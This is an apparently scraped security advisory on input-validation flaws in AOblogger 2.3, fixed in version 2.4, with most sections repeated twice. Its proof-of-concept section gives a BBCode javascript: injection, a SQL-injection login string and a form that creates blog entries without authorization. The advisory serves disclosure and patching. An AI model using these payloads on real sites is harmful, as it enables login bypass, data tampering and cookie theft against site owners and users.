AOblogger Multiple Input Validation Vulnerabilities
BID:16286
Info
AOblogger Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 16286 |
| Class: | Input Validation Error |
| CVE: |
CVE-2006-0310 CVE-2006-0311 CVE-2006-0312 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 17 2006 12:00AM |
| Updated: | Apr 17 2006 10:27PM |
| Credit: | Aliaksandr Hartsuyeu is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
aoblogger aoblogger 2.3 |
| Not Vulnerable: |
aoblogger aoblogger 2.4 |
Discussion
AOblogger Multiple Input Validation Vulnerabilities
AOblogger is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
Successful exploitation of these vulnerabilities could allow an attacker to:
- compromise the application
- access, modify, or create data
- steal cookie-based authentication credentials.
An attacker may also be able to exploit vulnerabilities in the underlying database implementation and to launch other attacks.
Version 2.3 is vulnerable; other versions may also be affected.
AOblogger is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
Successful exploitation of these vulnerabilities could allow an attacker to:
- compromise the application
- access, modify, or create data
- steal cookie-based authentication credentials.
An attacker may also be able to exploit vulnerabilities in the underlying database implementation and to launch other attacks.
Version 2.3 is vulnerable; other versions may also be affected.
Exploit / POC
AOblogger Multiple Input Validation Vulnerabilities
An exploit is not required.
A BBCode tag script-injection example has been provided:
[url]javascript:alert(123)[/url]
An SQ- injection example has been provided:
http://www.example.com/aoblogger/login.php
username: username'/*
password: any
An example of new entry creation without proper authorization has been provided:
<form action="http://www.example.com/aoblogger/create.php" method="post">
<input name="uza" value=1>
<input name="title" value="anytitle">
<textarea name="message">anymessage</textarea>
</form>
An exploit is not required.
A BBCode tag script-injection example has been provided:
[url]javascript:alert(123)[/url]
An SQ- injection example has been provided:
http://www.example.com/aoblogger/login.php
username: username'/*
password: any
An example of new entry creation without proper authorization has been provided:
<form action="http://www.example.com/aoblogger/create.php" method="post">
<input name="uza" value=1>
<input name="title" value="anytitle">
<textarea name="message">anymessage</textarea>
</form>
Solution / Fix
AOblogger Multiple Input Validation Vulnerabilities
Solution:
The vendor has released version 2.4 to address this.
aoblogger aoblogger 2.3
Solution:
The vendor has released version 2.4 to address this.
aoblogger aoblogger 2.3
-
aoblogger aoblogger2.4.zip
http://prdownloads.sourceforge.net/aoblogger/aoblogger2.4.zip?download
References
AOblogger Multiple Input Validation Vulnerabilities
References:
References: